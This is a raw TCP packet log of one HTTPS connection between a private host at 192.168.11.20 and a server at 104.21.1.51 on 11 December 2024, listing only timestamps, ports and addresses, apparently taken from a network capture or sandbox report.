Dec 11, 2024 12:58:49.337306023 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.337357998 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.339202881 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.339226961 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.339348078 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.339348078 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.339376926 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.339452028 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.339469910 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.339481115 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.341687918 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.341717958 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.341846943 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.341846943 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.341866970 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.341881037 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.341881037 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.341952085 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.341974974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.343758106 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.343786001 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.343914032 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.343940973 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.343940973 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.343952894 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.343986034 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.344038010 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.345673084 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.345696926 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.345822096 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.345839977 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.345853090 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.345853090 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.345900059 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.345900059 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.345946074 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.348026991 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.348046064 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.348192930 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.348192930 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.348215103 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.348334074 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.348351955 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.349948883 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.349975109 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.350110054 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.350110054 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.350130081 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.350142002 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.350142002 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.350188017 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.350267887 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.351877928 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.351901054 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.352066040 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.352066040 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.352083921 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.352159977 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.352159977 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.353869915 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.353897095 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.354007959 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.354027033 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.354087114 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.354183912 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.355786085 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.355813980 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.355979919 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.355979919 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.356003046 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.356003046 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.356013060 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.356103897 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.358114004 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.358136892 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.358238935 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.358253956 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.358285904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.358285904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.358340025 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.358340025 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.358413935 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.360006094 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.360030890 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.360177994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.360177994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.360199928 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.360251904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.360251904 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.360260963 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.360300064 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.362160921 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.362193108 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.362349033 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.362368107 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.362421989 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.362447977 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.363997936 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.364025116 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.364167929 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.364167929 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.364187956 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.364202023 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.364289045 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.364362955 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.365751982 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.365823030 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.365897894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.365897894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.365968943 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.366039991 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.366053104 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.366195917 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.368731976 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.377299070 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.540004969 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.540043116 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.540178061 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.540178061 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.540208101 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.540208101 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.540221930 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.540285110 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.540446997 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.541779995 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.541810036 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.541965961 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.541965961 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.541995049 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.542007923 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.542084932 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.542171955 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.543499947 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.543539047 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.543704987 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.543731928 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.543731928 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.543747902 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.543963909 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.545381069 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.545417070 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.545574903 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.545643091 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.545644045 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.545670033 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.545833111 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.547131062 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.547168970 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.547328949 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.547406912 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.547406912 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.547432899 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.547451019 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.547672033 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.549511909 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.549549103 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.549684048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.549709082 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.549709082 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.549724102 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.549757004 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.549807072 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.549807072 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.551165104 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.551203966 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.551343918 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.551343918 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.551372051 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.551372051 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.551372051 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.551386118 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.551527977 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.552989960 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.553025007 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.553208113 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.553235054 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.553235054 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.553251028 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.553304911 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.553304911 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.553426027 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.554723978 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.554761887 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.554872990 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.554872990 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.554915905 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.554935932 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.555001974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.555001974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.555124044 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.556979895 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.557018995 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.557173014 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.557214975 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.557214975 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.557228088 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.557375908 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.559020042 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.559053898 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.559173107 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.559173107 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.559216976 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.559230089 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.559268951 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.559268951 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.559346914 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.560581923 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.560619116 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.560745001 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.560745001 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.560857058 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.560870886 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.561033010 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.562395096 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.562642097 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.562685966 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.562711954 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.562787056 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.562812090 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.562912941 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.562937975 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.564155102 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.564187050 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.564311028 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.564337015 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.564357042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.564357042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.564434052 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.564459085 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.564459085 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.566586971 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.566618919 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.566760063 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.566785097 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.566812992 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.566812992 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.566937923 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.568263054 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.568295956 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.568414927 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.568414927 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.568440914 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.568459988 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.568459988 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.568459988 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.568553925 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.570070982 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.570100069 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.570314884 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.570314884 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.570343971 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.570362091 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.570362091 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.570363045 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.571623087 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.571827888 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.571862936 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.571969032 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.571995974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.571995974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.572010994 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.572072029 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.572103024 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.573637009 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.573677063 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.573800087 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.573824883 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.573842049 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.573842049 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.573884964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.573884964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.573982000 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.575903893 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.575942039 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.576057911 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.576059103 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.576086044 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.576103926 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.576189041 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.576263905 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.577661037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.577696085 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.577855110 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.577855110 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.577881098 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.577899933 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.577899933 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.577899933 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.578028917 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.579477072 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.579515934 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.579668999 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.579694986 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.579709053 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.579709053 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.579791069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.582091093 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.582127094 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.582211018 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.582236052 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.582256079 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.582370996 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.582371950 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.583911896 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.583945036 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.584068060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.584068060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.584172964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.584172964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.584192038 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.584217072 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.584217072 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.585357904 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.585396051 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.585536957 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.585555077 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.585586071 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.585586071 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.585634947 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.587131977 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.587165117 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.587316990 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.587344885 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.587404966 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.589785099 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.589823008 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.589972019 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.589972019 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.589998007 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.590019941 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.590019941 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.590065956 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.590065956 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.591526031 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.591550112 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.591813087 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.591813087 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.591833115 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.591921091 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.591921091 CET	49757	443	192.168.11.20	104.21.1.51
